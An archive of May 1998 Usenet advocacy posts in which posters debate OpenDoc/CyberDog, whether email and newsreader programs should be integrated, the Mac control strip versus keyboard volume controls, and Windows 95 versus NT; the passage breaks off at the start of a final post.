> Nathan Urban wrote:
> > In article <354F5AB5.515@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> > > Far more elegant would have been OpenDoc/CyberDog, but as a result of
> > > insisting that "we haven't decided that's the right way", somebody else
> > > went and did it the wrong way.
> > Good, so there's another solution that I won't use. You're apparently
> > trying to make the point that a bad solution is better than no solution.
> > I personally think that a bad solution is _worse_ than no solution.
> No, you're misunderstanding me. For one, I'm not saying "bad solution",
> I'm saying "good solution" when I refer to OpenDoc/CyberDog.
I wasn't. Anyway, by "bad solution" I was referring to Microsoft.
> For another, my point is that a bad solution would be better than a
> _worse_ solution.
I don't agree; either way, the solutions are inadequate. I was
attempting to address your point that Microsoft coming along and
offering a parts-like solution in place of Apple is somehow damaging --
I think that having a crappy solution (by Microsoft or anyone else) is
worse than doing without altogether.
> I'm trying to make it clear that "no solution" is not
> going to happen; if someone doesn't provide "good solution" leadership,
> Microsoft is going to provide "bad solution" precedent.
So what?
> > > Maybe you can understand what's so frustrating about recent Apple
> > > management decisions when you consider that some people are watching the
> > > fruits of the last five years getting pissed away.
> > You're also apparently trying to make the point that anything Apple
> > spends five years on must be worth continuing with.
> No, I'm not trying to make that point. If you want to be deliberately
> obtuse to avoid the weight of my point, fine.
Your point is weightless and avoids mine: it wouldn't be frustrating if
OpenDoc weren't worth saving. It would be relieving. I'm not saying it
wasn't worth saving, but I'm not saying that it's a foregone conclusion
that it was, either.
> > > Hm. They're going to be "solved", like it or not. If nobody has the
> > > balls to actually ship a product, Microsoft will.
> > So what? People will use any product Microsoft puts out, whether or not
> > it's any good.
> That's where you're wrong.
You apparently don't have much experience with MIS. :-/ I know _my_
company chooses Microsoft solutions over better ones, despite everything
we try to do.
> WordPerfect was the #1 bestselling word
> processor at one point in recent memory. When it failed to ship a timely
> upgrade, Word slipped into first.
> It's called a *PRODUCT VACUUM*.
The situations are not parallel. You understand as well as I do that a
"parts solution" is more than a piece of software, it's about standards
and interoperability. The instant Microsoft offers a parts solution for
Office, Exchange, etc., the game's over, because you can't "plug and play"
some other kind of part into their de facto standard. If Microsoft
defines an interoperability standard for their OS or even for they key
apps (as they've already started to do), that will be the standard that
will be used on Windows platforms. People can write _software_ for
Windows that competes with Microsoft offerings, but they inevitably
must comply to any integration standards on the platform if they want
market acceptance.
> > Are you saying that the existence of another solution
> > would have _prevented_ people from using Microsoft's "bundle" solution?
> > Ha.
> Thus, having argued away any semblance of responsibility for the
> problem, we can safely turn to Janet Reno for the solution. Solved!
See above.
> > > Oh, when will that be? Next year? The year after that? Sure, I can wait.
> > > Can't we all? Everybody: let's just wait for Omni to ship the perfect
> > > solution. Meanwhile, just hold your breath...
> > Meanwhile, while you're holding your breath and whining, I will continue
> > to use separate apps for mail, news, and web browsing -- for while
> > it's a nice ideal to have a Grand Unified Application, practically
> > speaking it doesn't buy me much to have a combined mail/news/WWW reader.
> > The solutions I have meet all of my requirements. If someone eventually
> > comes out with a _good_ solution I may eventually use it, but it would
> > have to be much better to make it worth switching. I'm certainly not
> > going to switch to a bundle solution just for the sake of having a
> > bundle solution.
> A lot of people would disagree, with a twist: they currently believe
> that the bundle situation is *wrong*, and they want the government (or
> somebody) to force everyone to use separate apps.
That doesn't sound like a disagreement with what I said.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 17:08:36 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6inv4k$cip$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu>
In article <354f7928.0@news.depaul.edu>, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> At the very least, if this sort of scheme were followed, it would
> take a lot of the labor out of building a mail or news app, making
> it easier for developers to experiment with new groups/articles
> user interfaces.
I certainly agree that if such a framework were available, it would be
better to use it, and that undoubtedly much code could be reused between
mail and news handling functions. It's just a matter of availability.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 16:14:55 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6indtv$c0h$5@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM>
<6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <354f7928.0@news.depaul.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jhendry@shrike.depaul.edu
In <354f7928.0@news.depaul.edu> Jonathan W Hendry claimed:
> I think the proper dividing line is probably between the display
> and composition and messages, and the viewing of available messages.
Hmmm.
> That, I think, is where problems crop up - a UI for browsing
> mailboxes is rarely optimal for browsing Usenet groups.
Why? On the Mac the two apps I use look pretty much identical there too.
> Netscape
> Communicator tries to use the same interface for both, and IMHO
> fails.
Yes, but it's bad at BOTH. As an example that using one for the other
fails it's a bad one, because it didn't start with a working version of
either. Few do. MT-NewsWatcher may be the only perfect interface on any of
them.
> A UI for mailboxes probably doesn't scale well up to
> tens of thousands of newsgroups. A newsgroup-browsing UI may
> be overkill for a Mail application.
May be. But can you name any specifics?
> Perhaps we need an application that specializes solely in displaying,
> composing, and sending messages. Other applications would specialize
> in managing the mailboxes, newsgroups, filtering, etc. Those applications
> would use the display/compose/send app as necessary. It sounds a
> bit weird, but might work out.
I think that's the basic idea actually.
> Alternately, the display/compose/send function could be handled by a
> framework, loaded by the applications that handle message browsing.
> At least in that case there would be a lot less redundant code
> between apps.
That too. There's lots of ways to do this.
Maury
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 17:19:31 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6invp3$cku$1@crib.bevc.blacksburg.va.us>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172>
In article <B174BA20-68F78@207.217.155.172>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
> >It's people like you that make me think about switching to an OS with a
> >friendlier community of users. Nice, "ha ha, in your face, good to watch
> >you suffer you NeXT `refugees'" attitude. I wonder which company it
> >was that provided the OS solution that Apple couldn't produce on its own..
> My point was not personal.
Oh yeah, like "you NeXT refugees ... ROTFLMAO" isn't personal.
> It was just that Mac users will expect the Mac
> HI. Look, I like the underpinnings that NeXT has to offer for the next
> great unified MacOS. I don't think that entitles NeXT advocates to expect
> that I like how their system looks or behaves.
And I don't think that Mac users are entitled to assume that every
interface feature in MacOS is the best possible way of doing things.
> I know it's totally
> unrealistsic to expect regular Mac users to accept mediocre interface ideas
> like "use a command key combination".
Mediocre interface idea? I liked that better than the control strip idea.
Heck, to control the volume I think that turning the stupid knob on the
speaker (assuming you have one) is the best solution! It's the fastest,
most intuitive and direct way for me to shut the sound off when I get a
phone call, and my speakers have a large, friendly and accessible knob
on them. If I could just hit a mute button on the keyboard, that would
be good too. No futzing around with the mouse.
While user inertia is a factor, you should not automatically assume that
every existing way of doing things is the way things should always be
done, or that people will never tolerate a different way, especially if
it's better.
> That's all. Deal with it.
I think that Mac users need to ditch this attitude that MacOS is the
be-all-end-all of UI design. There are things I like in MacOS. There are
more things I like in NEXTSTEP. At some point, superior solutions to
problems should be offered. "That's the way it is, that's the way it
will always be" is not an intelligent attitude, and as much as user
inertia can influence the market, things _can_ and inevitably _will_
change as time progresses.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 16:39:54 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6infcq$c0h$6@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <6imlnj$nkm$2@ns3.vrx.net>
<6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
<6inu0b$cet$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: nurban@crib.bevc.blacksburg.va.us
In <6inu0b$cet$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> I didn't say that's the way it "should be", I'm saying that I don't think
> it makes any practical difference. Somehow I have managed to fail to
> be confused by using two different programs for mail and news.
No one's saying that you've been confused, we're saying it's sub-optimal.
> Furthermore, the way I browse threads in newsgroups is different from
> the way I look through mailboxes.
How? Why? Because that's the way you do it, or because that's the way you
do it because all the apps you've used did it that way and now that's the way
you do it?
> > > Far fewer newsreaders support _reading_ e-mail.
>
> > A problem that needs to be fixed.
>
> I doubt it.
I don't, all the big companies seem to be trying to do just that.
> > That's because you think of them as "mail" and "news".
>
> That's because _they are_.
If I hand you one with a few selected headers removed you will be unable to
tell a difference. That's because they _aren't_ different. The onyl
difference is in the way they are retreived.
> I understand the distinction (or lack thereof), I'm just saying that I
> don't think that it's necessarily a productive use of time to integrate
> the two.
Maybe not for you, but again I believe that is because you come from a
technically savvy background and may not have ever seen better.
> By "integrate well", I don't mean anything more than "be able to generate
> a mail message from a newsreader, and include the quoted text". I don't
> share filters between mail and news
Be that as it may, again you're putting the question in the wrong
direction. Is this because you don't ever want to, or because you can't and
never thought of it?
I use filters to hilight replies to me. Ones that are to me are red. Ones
that are to me in the newsgroup AND in mail are pink. This is so I know that
I don't have to bother replying to them in my mail. However my mail client
doesn't use them, so what I don't know is which of the messages in my mailbox
are also posted to the groups and likely red already. For instance last
night I got one from Mike and deleted it "assuming" it was also in this
thread. Oh well.
So there's one place where such sharing comes in handy anyway.
> all in filtering mail other than perhaps a little post-sorting by sender
> -- furthermore, I don't want to do the _same_ sorting on mail and news
> -- I want to leave all my news saved in folders according to newsgroup
> (akin to how I store mailing lists)
Another limitation inserted by the "Unix view" I think. Filtering is more
than moving mail about, colouring it tends to be far more powerful for
instance.
> private e-mail I like to sort by sender. I don't care one single bit
> about being able to sort or search mail and news from the same engine,
> I want them _distinct_.
Why? You haven't given any reasons. Well you have, you think it will be
bloatware. Every other one of your reasons comes down to "well I don't do
that". That's not an argument for not doing it.
> I also don't care whether or not mail or news have the same menus or
> form layout. Don't you get it? _I don't care_
Is this an argument against it? I don't care what you don't care. Should
I care what you care? I don't think so.
> interfaces. You could argue, "but shouldn't they be the same"?
No, I argue that I want them to be the same because it would result in a
small overall set of applications, more flexibility and a more natural
operation for the average user.
> maybe, but if I have a perfectly good mail tool and a perfectly good news
> tool, I am _not_
Sure, but we're not talking about _you_. You are a computer literate Unix
user. As you noted...
> A more compelling argument could be made for those who have never used
> either mail or news before, and have less reason to switch or get a
> new tool.
> I'm saying that there's _no point_ in producing a unified tool if existing
> tools get the job done.
They don't, for me.
> > If you can point out how web browsing and reading messages is in any
way
> > based on similar action, conceptions, or interfaces, feel free. If
you're
> > tempted to reply "but it's an internet activity" then again you are
confusing
> > the technology of the delivery with the actions of the user.
>
> Received any HTML mail lately?
Nope, why? Do you get the mail then browse out of it? (I don't know, I
haven't got any). Is the mail in RFC-822 format? If so is the issue not
that NSAttributedString needs to know about it (as it does)?
> 1) Prove that they ended up there for purely historical reasons. Yes, I
> know all about the agreement with Apple, but that doesn't imply that
> every interface change was made just to comply with it.
Prove the opposite. There is evidence on one side, none on the other.
It's up to you to provide it now.
> 2) The scrollers _deserve_ to be defended from a technical standpoint,
> because I can't stand scrollers that are the other way around.
So?
> Yeah. My point: where do you think the niche is? How many people do
> you think are going to switch to a new unified tool when they already
> have existing tools that work just as well for them, purely for the sake
> of its unification?
The only point is not unification though. Most of the tools out there also
suck rocks. Don't you remember how this got started? It got started because
I pointed out a number of ways Mail.app sucks.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 16:42:17 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6infh9$c0h$7@ns3.vrx.net>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com>
<354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com>
<6imlnj$nkm$2@ns3.vrx.net> <354f7b55.0@news.depaul.edu>
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Cc: jhendry@shrike.depaul.edu
In <354f7b55.0@news.depaul.edu> Jonathan W Hendry claimed:
> Yes, but people rarely have more than a couple dozen mail folders,
> while there are tens of thousands of newsgroups. A UI that's good
> for newsgroups is not necessarily good for mail.
Again, how? Exactly? I can think of many mail-like interfaces that won't
scale to news-like sizes, but I can't think of any where the reverse is true.
> One problem is the potential for increased complexity as the program
> grows. Two stable apps are better than one buggy one.
I'm not sure if this is an issue in an app that's likely to be on the order
of 2 meg.
Maury
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 22:18:31 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6io37n$hdg$1@new-news.cc.brandeis.edu>
References: <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
In article <6in6mv$3of$4@ns3.vrx.net> maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6injcb$bk4$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
[snip]
> You get messages in your news reader. You get messages in your mail
>reader. You don't get "mail" or "news", those are names you impose on them
>because that's how you get them. If you can point to any quantitative
>differences that apply widely and do not include the delivery method in the
>name, then we have an issue. To date the main concerns are focusing on
>having different clients for different delivery methods.
[snip]
>> Might be nice, but I don't see anyone writing it,
>
> They did for Eloquent - I just didn't like it. GNU did for Emacs.
>CyberDog did for the Mac. Outlook does for the PC.
>
> It's not like people didn't do this, they just didn't do it well. Actually
>CyberDog did, it came close to perfection - it was the best e-mail client I
>had used anywhere, all the rest of it's portions ignored.
Before anyone starts worrying about integrated email-newsreader, how about
a good email program? a good newsreader? Integrated software is more
difficult to program than seperate apps, and integrated apps usually
suffer as a result.
Under UNIX, pine (text interface) does email well and news ok (text
interface). But trn is a far better newsreader (I have yet to see any
newsreader anywhere thread as well!)
Hogwasher is a new combined email-newsreader (online and offline) for the
MacOS:
http://www.asar.com/index.html
Though I haven't played with Hogwasher much, it has yet to give me any
compelling reasons to switch from Eudora + MT-Newswatcher, as it doesn't
even thread messages. Eudora is a better mail program, and MT-Newswatcher
is a better newsreader (and free):
http://www.best.com/~smfr/mtnw/download.html
Eudora 3 is showing its age, though I like the ease with which I can pull
in UNIX mailboxes, I hate its search engine. Eudora 4 is bloatware.
Overall I like ClarisEmailer 2.0v3, but the difficulty of importing and
exporting mailboxes, and the slowness of Applescript for doing things like
marking messages read (the user should not have to wait minutes for it to
chew through a few hundred messages marking them), and the somewhat
cluttered filter interface make using it problematic (though the find is
good). Mulberry could be an alternative, but its IMAP only (I have IMAP
and POP accounts), and the interface could use some streamlining.
<http://www.cyrusoft.com/mulberry/mulbinfo.html>
PowerMail does POP, SMTP, and IMAP, and its interface borrows heavily from
Emailer (which is only POP and SMTP), and looks like it could be very
interesting, especially since it includes Apple's V-Twin search support.
<http://www.ctmdev.com/product_info.shtml>
Mailsmith looks like the most powerful GUI email client yet (rivaling
legendary mh perhaps?), with seriously heavy-duty grep and fuzzy search,
extensive filtering and scripting. Nice keyboard support, too, making it
possible to do a lot of mail work without touching the mouse. Clean and
logical presentation. Both benefits and suffers from being a BBEdit
derivative (takes the same plug-ins!) No IMAP support. Steep price - $79
- what are they thinking?
<http://web.barebones.com/products/msmith/msmith.html>
Considering some business think it a priority to use styled text in email
(i.e. HTML email that Eudora and Netscape handle), that might be a
requirement of some people (a mistake if you ask me, but plug-in viewers
wouldn't be a bad idea for an email/news client).
Sure, it makes sense to integrate mail and news, but I want to see
something that's Mailsmith with IMAP support and MT-Newswatcher with the
same degree of threading as trn, all wrapped up in a great interface with
incredible keyboard support. That would rock. And the only way I'd get
it is if I designed it, nobody else is going to do it.
--
Nathan Raymond
http://www.everythingmac.com
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 5 May 1998 22:35:33 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6io47l$hqj$1@new-news.cc.brandeis.edu>
References: <6imkv7$nkm$1@ns3.vrx.net> <6inj0j$bit$1@crib.bevc.blacksburg.va.us> <6in9lt$3of$6@ns3.vrx.net>
In article <6in9lt$3of$6@ns3.vrx.net> maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6inj0j$bit$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
>> If you want to just pull in one block, you can highlight it before you
>> reply to the message and EnhanceMail will quote it when you reply.
>> Unfortunately, you can't do disjoint text selection, so you can't use
>> that to pull in more than one block.
>
> Right, that's the problem. I read the message, pull in a block, reply to
>that, pull in another block, reply to that. Mail just doesn't hack it in
>this respect. I know I know, filters, but then you don't get the
>convenience. It really needs it, and adds zero bloat (the code's there).
Discontinuous text selection and arbitrary x-y text selection is seriously
lacking across the board on every platform. In the MacOS, the text editor
Alpha does both, Word does arbitrary x-y selection, and Nisus Writer does
discontinuous text selection. It should be everywhere.
[snip]
>> So what, you want an interface that looks like an Open panel or Finder
>> window?
>
> I think it should do anything that you can do in the Finder basically -
>view as "folder" icons, browser, whatever.
Wasn't that Apple's Powertalk? The ill-fated proprietary email that was
part of the OS, that came with System 7 Pro, and later was gradually
phased out? In interviews Woz likes to moan about its loss, and how he
hacked it to work with later OS releases. The idea of email in the
Finder/Browser does make sense, but is hindered by things like MIME where
attachments become distinct once the message is retrieved. How to keep
attachments associated with a message without re-inventing the wheel or
introducing unnecessary abstractions like a folder around a multi-part
email? Dunno how Powertalk dealt with it, but email:Finder is not 1:1.
The new filesystem in Rhapsody has an API for adding custom file
attributes which would ease email integration at the file-system level.
--
Nathan Raymond
http://www.everythingmac.com
Date: Tue, 05 May 1998 19:00:37 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <casper-0505981900370001@wheat-d-19.monroeville.nb.net>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com>
In article <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com>,
<darknerd@shell4.ba.best.com> wrote:
>> Well, I'd say the reason is that NT is *NOT* a home OS. NT is for
businesses,
>
>I see you have bought in to the Microsoft's propaganda and perhaps became
>a Win-minion. It is YOUR opinion that WindozeNT is not a _home_ OS.
>Micro$oft is brainwashing several people for this, so that they can get
>more money.
>
>The fact is Win95 is slower and unstable. WinNT is faster and stable.
Woah, back up a minute. Win 95 is faster and less stable. NT is
slower and more stable. I have a Compaq Deskpro 2000 P166. When I was
running 95 it was a quick little computer. When I installed NT it slowed
down immensly. NT brought that system to it's knees, even after I
upgraded to 80 MB of RAM. However it hasn't crashed on me yet.
>If one can run an app in either, don't you think one would choose WinNT.
>This simple logic should defy all propaganda or product stratification,
>but it unfortunately doesn't.
Hmmm....I'll take the speed of 95 unless the app is unstable enough
that I need NT's protected memory.
>> and how many businesses have reasons to run Diablo or Quake2? From what I
>> understand win9x will eventually merge with winNT but that's years down the
>> road.
>
>This is more bull$hit from Micro$oft. It's remarketing of there product
>because than can get more money. Plus, Diablo runs fine under WindowsNT,
>but future games may have trouble supporting WinNT because they depend on
>the anti-competitive DirectX libraries.
>
>DirectX 5.x will *NOT* be supported in WinNT 4.0, but will be supported in
>"vaporware" WinNT 5.0.
Vaporware is a good thing to call NT 5. I've been reading industry
rags that say to expect NT 5 to be released late in 1999 or early in 2000
at the soonest. They also say that if it's shoved out the door before
then avoid it because it still isn't all that stable. But I'm not beta
testing it so I really have no personal experience.
>> Do what I do:
>> Set up a dual boot system win95 for games and winNT for apps.
>> not too hard...Use system commander, or NT will even do it on its own
as long
>> as it's the last OS installed.
>
>Why should I have to purchase an inferior product to run products that
>should work under WinNT?
>
>Because this is why:
> Long Version - Micro$oft wants to lock me into anti-competitive
>propiertary technologies like ActiveX so that I'll be forced to use ONLY
>their products and ONLY in a way they THINK I should use them.
> Short Version - Micro$oft wants more *MONEY*!!!
And MS is fantastic at making money. You just described their entire
business model to a T.
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
Customer: "I'm running Windows '95."
Tech Support: "Yes."
Customer: "My computer isn't working now."
Tech Support: "Yes, you said that." (Pete Zimowski)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 19:25:19 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6io74v$cuc$1@crib.bevc.blacksburg.va.us>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172>
In article <B174E97A-11AF54@207.217.155.172>, "Brad Hutchings" <brad@hutchings-software.com> wrote:
> ROTFLMAO that people seriously think that volume controls on a keyboard or
> command-function key combinations are better HI than the control strip.
They are. Should every problem be solved by keyboard controls? No.
_Can_ every problem be solved that way? No. Should _this_ problem be
solved that way? I think it's a superior solution to software control,
though of course software control in some form should also be available.
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Tue, 05 May 1998 17:08:37 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0505981708370001@130.130.117.53>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6in6mv$3of$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
: You get messages in your news reader. You get messages in your mail
:reader. You don't get "mail" or "news", those are names you impose on them
:because that's how you get them. If you can point to any quantitative
:differences that apply widely and do not include the delivery method in the
:name, then we have an issue. To date the main concerns are focusing on
:having different clients for different delivery methods.
Mail News
little categorization highly categorized
rarely threaded mostly threaded
low volume high volume
mostly signal mostly noise
high priority low priority
--
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: tom@basil.icce.dev.rug.null.nl (Tom Hageman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 00:09:35 GMT
Organization: Warty Wolfs
Sender: news@basil.icce.dev.rug.null.nl (NEWS pusher)
Message-ID: <EsI7zE.9nA@basil.icce.dev.rug.null.nl>
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6in3ed$825$1@news.cmc.net> <6imm78$nkm$3@ns3.vrx.net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6in3ed$825$1@news.cmc.net> Leon von Stauber claimed:
> > Well, I doubt that. I just like them separate. Reading mail and
> > reading news are different activities for me.
>
> Well I know, but I believe this difference is entirely historical. Why is
> it that OpenStep newsreaders use Unix terms and have panes for layout?
> Because that's what they saw in their market (the Unix one) when looking
> about. I think it's time that everyone needs to "think outside the box" and
> cross-fretilize the markets. That's the whole idea anyway!
To each his own. The times I tried a newsreader with separate newsgroups, article and
message windows (yes, on NEXTSTEP! I don't remember whether it was NewsFlash or
HNNews(?)) it drove me batty.
--Tom.
("Resistance is futile. You will be assimilated")
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 98 16:05:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B174E97A-11AF54@207.217.155.172>
References: <6inrso$sfm$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish wrote:
> No, why would anyone take it as a snide, personal remark when
>you end it with ROTFLMAO.. Gimme a break Brad.
ROTFLMAO that people seriously think that volume controls on a keyboard or
command-function key combinations are better HI than the control strip.
Look, the control strip is best categorized as an extensible application
that's bundled with the OS. In an ideal windowing system, it would be a
very simple application to write. The fact that it's bundled with the OS
has meant that many developers (commercial and shareware) have supported it
and made it a convenient way for users to customize their environments.
> And I don't think that it entitles you to make smart ass
>remarks about us being refugees, and that we're basically shit out of
>luck as far as the UI that we've become accustomed too.
But, Scott, that's what your point sounded like when you trashed the
Control Strip. It's bad enough that I have take all sorts of crap about
OpenDoc. Yeah, Apple management killed it, lied about it, and badmouthed
it. But damnit! I will not take crap over the control strip, for which long
ago, I wrote a few modules. Apple hasn't killed _that_ yet, and they won't
because users like it :).
Face reality. The base-HI of future Macs is gonna look and feel like a
Macintosh. Single menu bar, _no_ dock, etc. If Rhapsody is engineered so
that interface elements are truly flexible and orthoganol, docks and
control strips and other "power" widgets could be excellent third party
opportunities. Inclusion with the OS will still be the biggest factor in
these widgets gaining market momentum and developer support.
> What 'command key combination'? Sounds like FUD to me..
command-alt-minus, command-alt-plus, some function key,...
The above were mentioned in this very thread as "better" HI than the
control strip. So how does that let me switch "locations" with a single
mouse gesture? And no Joe, "themes" has absolutely nothing to do with
whether a control strip or arcane command key combos are used.
I guess we'll all see what Apple's plan of the quarter is next week. I'll
be totally surprised if it involves a Mac product line separate from the
Rhapsody product line. In that case, especially when repeat Mac buyers are
keeping Apple afloat (and will for some time), why would Apple alienate
those buyers by moving toward a system-wide HI they are not accustomed to?
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 1998 18:05:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B175052E-165DC1@206.165.43.143>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>In article <B174E97A-11AF54@207.217.155.172>, "Brad Hutchings" <
>brad@hutchings-software.com> wrote:
>
>> ROTFLMAO that people seriously think that volume controls on a keyboard
>or
>> command-function key combinations are better HI than the control strip.
>
>They are. Should every problem be solved by keyboard controls? No.
>_Can_ every problem be solved that way? No. Should _this_ problem be
>solved that way? I think it's a superior solution to software control,
>though of course software control in some form should also be available.
You're thinking like someone who uses the keyboard more than the mouse. It
is generally easier to mouse a control than type one.
I.E., a slider makes more sense than command key options. And a special
button or two to control volume on a keyboard is just a very esoteric form
of command key.
I mean, think about it: how often do you need to adjust the volume? How
critical is it to most computing tasks?
And yet, you want to take up precious keyboard real estate with a couple of
volume controls?
if you need keyboard knobs to control volume, get a MIDI control board, for
heaven's sake or use the knobs on the speakers.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: pkoren@worldnet.att.net (Peter Koren)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MklinuxDR2 & RhapsodyDR2 running side by side?
Date: Wed, 06 May 1998 01:51:59 GMT
Organization: AT&T WorldNet Services
Message-ID: <6iofql$ake@bgtnsc01.worldnet.att.net>
References: <6ijpv5$p11@nnrp1.farm.idt.net> <354dd457.0@news.depaul.edu>
On 4 May 98 14:44:39 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
